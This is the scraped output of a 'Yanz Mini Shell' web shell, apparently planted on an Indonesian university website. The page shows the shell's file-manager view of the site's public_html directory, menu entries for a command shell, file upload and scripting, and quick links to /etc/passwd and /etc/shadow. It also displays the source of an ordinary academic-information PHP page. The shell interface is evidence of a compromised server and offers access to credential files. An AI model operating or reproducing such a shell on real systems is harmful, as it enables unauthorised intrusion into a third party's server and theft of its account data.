Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // pages/info-akademik.php — Detail Informasi Akademik / Quick Service require_once __DIR__ . '/../config/config.php'; $id = isset($_GET['id']) ? (int)$_GET['id'] : 0; if ($id <= 0) { header("Location: " . $base_url . "/index.php"); exit; } // Cek apakah kolom content ada di tabel $has_content = false; $col_check = @$conn->query("SHOW COLUMNS FROM quick_services LIKE 'content'"); if ($col_check && $col_check->num_rows > 0) $has_content = true; $filter = softDeleteEnabled($conn, 'quick_services') ? " AND deleted_at IS NULL" : ""; $stmt = $conn->prepare("SELECT * FROM quick_services WHERE id = ? $filter LIMIT 1"); $stmt->bind_param("i", $id); $stmt->execute(); $item = $stmt->get_result()->fetch_assoc(); if (!$item) { header("Location: " . $base_url . "/index.php"); exit; } $page_title = e($item['title']) . ' - ' . setting('site_name'); $meta_description = potong(strip_tags($item['subtitle'] ?? ''), 160); include __DIR__ . '/../includes/header.php'; ?> <div class="page-hero" style="background: linear-gradient(135deg, var(--color-dark, #0a2b3e), #115277); color: white; padding: 60px 0 40px;"> <div class="container"> <nav style="font-size: 0.85rem; opacity: 0.85; margin-bottom: 14px;"> <a href="<?= $base_url ?>/index.php" style="color: var(--color-accent, #fff000); text-decoration: none;">Beranda</a> <span style="margin: 0 8px;">›</span> <span>Informasi Akademik</span> </nav> <div style="display:flex; align-items:center; gap:16px;"> <div style="width:64px; height:64px; background:rgba(255,255,255,0.1); border-radius:14px; display:flex; align-items:center; justify-content:center; font-size:1.8rem;"> <i class="<?= e($item['icon']) ?>"></i> </div> <div> <h1 style="font-family:'Poppins',sans-serif; font-size:2.2rem; font-weight:800; margin:0;" data-aos="fade-up"><?= e($item['title']) ?></h1> <p style="margin:6px 0 0; opacity:0.9; font-size:1rem;"><?= e($item['subtitle']) ?></p> </div> </div> </div> </div> <div class="container" style="padding: 50px 0;"> <article style="max-width: 820px; margin: 0 auto;" data-aos="fade-up"> <?php if ($has_content && !empty($item['content'])): ?> <div class="rich-content" style="font-size:1.05rem; line-height:1.85; color:#334155;"> <?= $item['content'] /* HTML content from TinyMCE — already sanitized at admin */ ?> </div> <?php else: ?> <div style="text-align:center; padding:60px 20px; color:#94a3b8;"> <div style="font-size:3rem; margin-bottom:16px;">📄</div> <h2 style="color:#475569;">Konten Detail Belum Tersedia</h2> <p style="max-width:500px; margin:12px auto 0;">Admin belum menambahkan konten detail untuk informasi ini. Silakan hubungi admin atau kembali ke beranda.</p> <a href="<?= $base_url ?>/index.php" style="display:inline-block; margin-top:24px; padding:12px 24px; background:var(--color-primary, #00bfff); color:white; text-decoration:none; border-radius:12px; font-weight:600;"> ← Kembali ke Beranda </a> </div> <?php endif; ?> <?php if (!empty($item['url'])): ?> <div style="margin-top:40px; padding:20px; background:#f8fafc; border-radius:16px; border-left:4px solid var(--color-primary, #00bfff);"> <p style="margin:0 0 12px; color:#64748b; font-size:0.9rem;"><i class="fas fa-external-link-alt"></i> Tautan terkait:</p> <a href="<?= e($item['url']) ?>" target="_blank" rel="noopener" style="color: var(--color-primary, #00bfff); font-weight:600; text-decoration:none;"> <?= e($item['url']) ?> → </a> </div> <?php endif; ?> </article> </div> <?php include __DIR__ . '/../includes/footer.php'; ?>
Free Space : 55788957696 Byte